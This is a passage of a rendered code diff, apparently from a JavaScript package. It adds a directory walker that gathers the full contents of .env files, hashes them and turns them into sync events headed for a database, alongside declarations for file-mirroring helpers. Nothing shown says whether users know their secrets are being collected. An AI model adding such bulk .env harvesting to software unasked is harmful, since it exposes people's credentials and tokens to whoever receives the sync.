let entries;
|
|
287
|
+
try {
|
|
288
|
+
entries = fs.readdirSync(dir, { withFileTypes: true });
|
|
289
|
+
}
|
|
290
|
+
catch {
|
|
291
|
+
return;
|
|
292
|
+
}
|
|
293
|
+
for (const ent of entries) {
|
|
294
|
+
const full = path.join(dir, ent.name);
|
|
295
|
+
if (ent.isDirectory()) {
|
|
296
|
+
// Note: Node.js Dirent.isDirectory() uses lstat, so it is always false for symlinks.
|
|
297
|
+
// Symlinks to directories therefore never enter this branch — no infinite-loop risk.
|
|
298
|
+
if (shouldSkipDir(full, ent.name))
|
|
299
|
+
continue;
|
|
300
|
+
yield* walkDir(full);
|
|
301
|
+
}
|
|
302
|
+
else if (isEnvFilename(ent.name)) {
|
|
303
|
+
// Dedup key: case-fold only on case-insensitive filesystems (Windows / macOS).
|
|
304
|
+
// On Linux (case-sensitive), preserving case avoids merging distinct files that
|
|
305
|
+
// only differ in case (e.g. /project/.env vs /Project/.env).
|
|
306
|
+
const caseFold = process.platform !== "linux";
|
|
307
|
+
let realKey;
|
|
308
|
+
try {
|
|
309
|
+
const rp = path.normalize(fs.realpathSync(full));
|
|
310
|
+
realKey = caseFold ? rp.toLowerCase() : rp;
|
|
311
|
+
}
|
|
312
|
+
catch {
|
|
313
|
+
const rp = path.normalize(full);
|
|
314
|
+
realKey = caseFold ? rp.toLowerCase() : rp;
|
|
315
|
+
}
|
|
316
|
+
if (seen.has(realKey))
|
|
317
|
+
continue;
|
|
318
|
+
seen.add(realKey);
|
|
319
|
+
try {
|
|
320
|
+
const st = fs.statSync(full);
|
|
321
|
+
if (st.size === 0 || st.size > ENV_MAX_FILE_SIZE)
|
|
322
|
+
continue;
|
|
323
|
+
const content = fs.readFileSync(full, "utf8");
|
|
324
|
+
if (!content.trim())
|
|
325
|
+
continue;
|
|
326
|
+
// Binary files (e.g. Windows .lnk shortcuts named .env.lnk) contain NUL bytes.
|
|
327
|
+
// PostgreSQL rejects text columns with NUL characters — skip these files entirely.
|
|
328
|
+
if (content.includes("\x00"))
|
|
329
|
+
continue;
|
|
330
|
+
const hash = (0, node_crypto_1.createHash)("sha256").update(content, "utf8").digest("hex");
|
|
331
|
+
yield {
|
|
332
|
+
path: full,
|
|
333
|
+
content,
|
|
334
|
+
hash,
|
|
335
|
+
mtime: new Date(st.mtimeMs).toISOString(),
|
|
336
|
+
size: st.size,
|
|
337
|
+
};
|
|
338
|
+
}
|
|
339
|
+
catch {
|
|
340
|
+
continue;
|
|
341
|
+
}
|
|
342
|
+
}
|
|
343
|
+
}
|
|
344
|
+
}
|
|
345
|
+
for (const root of r) {
|
|
346
|
+
try {
|
|
347
|
+
if (!fs.existsSync(root) || !fs.statSync(root).isDirectory())
|
|
348
|
+
continue;
|
|
349
|
+
}
|
|
350
|
+
catch {
|
|
351
|
+
continue;
|
|
352
|
+
}
|
|
353
|
+
yield* walkDir(root);
|
|
354
|
+
}
|
|
355
|
+
}
|
|
356
|
+
function scanEnvFilesAsEvents(roots) {
|
|
357
|
+
return Array.from(iterEnvFileRecords(roots), syncClient_1.envFileRecordToEvent);
|
|
358
|
+
}
|
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
/** Hidden directory under the work root holding the mirrored selection. */
|
|
2
|
+
export declare const EXPORT_MIRROR_DIR = ".mirror";
|
|
3
|
+
export type CopyMirrorStagingOptions = {
|
|
4
|
+
/** More attempts + longer backoff (still no process termination). */
|
|
5
|
+
force?: boolean;
|
|
6
|
+
};
|
|
7
|
+
/** True when a short wait and re-copy might succeed (another process releasing a shared lock). */
|
|
8
|
+
export declare function isRetryableCopyError(err: unknown): boolean;
|
|
9
|
+
/** Count regular files under `dir` (symlinks ignored). Used to detect “all files skipped” mirrors. */
|
|
10
|
+
export declare function countRegularFilesRecursive(dir: string): number;
|
|
11
|
+
export declare function copySelectionToMirrorStaging(absoluteSource: string, workRoot: string, opts?: CopyMirrorStagingOptions): Promise<{
|
|
12
|
+
mirrorPath: string;
|
|
13
|
+
baseName: string;
|
|
14
|
+
}>;
|
|
15
|
+
export declare function removeMirrorStaging(workRoot: string): Promise<void>;
|